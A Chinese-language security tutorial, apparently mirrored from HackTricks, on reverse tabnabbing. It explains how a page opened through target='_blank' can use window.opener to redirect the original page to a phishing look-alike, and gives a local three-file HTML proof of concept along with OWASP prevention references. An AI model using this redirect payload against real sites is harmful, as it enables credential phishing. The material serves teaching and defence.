mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
117 lines
5.9 KiB
Markdown
117 lines
5.9 KiB
Markdown
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
|
||
# 描述
|
||
|
||
在一个**攻击者**可以**控制**一个将被受害者点击的带有属性**`target="_blank" rel="opener"`**的**`<a`**标签的**`href`**参数的情况下,**攻击者**可以将这个**链接**指向一个由他控制的网站(一个**恶意**的**网站**)。然后,一旦**受害者点击**链接并访问攻击者的网站,这个**恶意**的**网站**将能够通过javascript对象**`window.opener`**来**控制****原始**的**页面**。\
|
||
如果页面没有**`rel="opener"`**但包含`target="_blank"`,并且也没有`rel="noopener"`,它也可能存在漏洞。
|
||
|
||
滥用这种行为的常见方式是通过`window.opener.location = https://attacker.com/victim.html`来**更改原始网页的位置**,将其指向攻击者控制的看起来**像原始网站**的网站,以便**模仿**原始网站的**登录表单**并向用户索要凭据。
|
||
|
||
然而,请注意,由于**攻击者现在可以控制原始网站的窗口对象**,他可以以其他方式滥用它来执行**更隐蔽的攻击**(也许修改javascript事件以将信息传输到由他控制的服务器?)
|
||
|
||
# 概述
|
||
|
||
## 带有后向链接
|
||
|
||
当未使用预防属性时,父页面和子页面之间的链接:
|
||
|
||
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
|
||
|
||
## 没有后向链接
|
||
|
||
当使用预防属性时,父页面和子页面之间的链接:
|
||
|
||
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
|
||
|
||
## 示例 <a href="#examples" id="examples"></a>
|
||
|
||
在一个文件夹中创建以下页面,并使用`python3 -m http.server`运行一个web服务器\
|
||
然后,**访问**`http://127.0.0.1:8000/`vulnerable.html,**点击**链接,注意**原始网站URL**的**变化**。
|
||
|
||
{% code title="vulnerable.html" %}
|
||
```markup
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<body>
|
||
<h1>Victim Site</h1>
|
||
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
|
||
</body>
|
||
</html>
|
||
```
|
||
{% endcode %}
|
||
|
||
{% code title="malicious.html" %}
|
||
```markup
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<body>
|
||
<script>
|
||
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
{% endcode %}
|
||
|
||
{% code title="malicious_redir.html" %}
|
||
```markup
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<body>
|
||
<h1>New Malicious Site</h1>
|
||
</body>
|
||
</html>
|
||
```
|
||
{% endcode %}
|
||
|
||
## 可访问的属性 <a href="#accessible-properties" id="accessible-properties"></a>
|
||
|
||
在发生**跨域**访问(跨不同域)的情况下,恶意站点可以访问由**opener** JavaScript对象引用指向的**window** JavaScript类实例的属性仅限于以下内容:
|
||
|
||
- **`opener.closed`**:通过访问此属性,可以确定窗口是否已关闭,并返回一个布尔值。
|
||
- **`opener.frames`**:此属性提供对当前窗口内所有iframe元素的访问权限。
|
||
- **`opener.length`**:此属性返回当前窗口中存在的iframe元素的数量。
|
||
- **`opener.opener`**:通过此属性可以获取对打开当前窗口的窗口的引用。
|
||
- **`opener.parent`**:此属性返回当前窗口的父窗口。
|
||
- **`opener.self`**:此属性提供对当前窗口本身的访问权限。
|
||
- **`opener.top`**:此属性返回最顶层的浏览器窗口。
|
||
|
||
然而,在域相同的情况下,恶意站点可以访问由[**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript对象引用公开的所有属性。
|
||
|
||
# 预防措施
|
||
|
||
预防信息已记录在[HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing)中。
|
||
|
||
## 参考
|
||
|
||
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
|
||
|
||
|
||
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家[NFTs](https://opensea.io/collection/the-peass-family)系列
|
||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|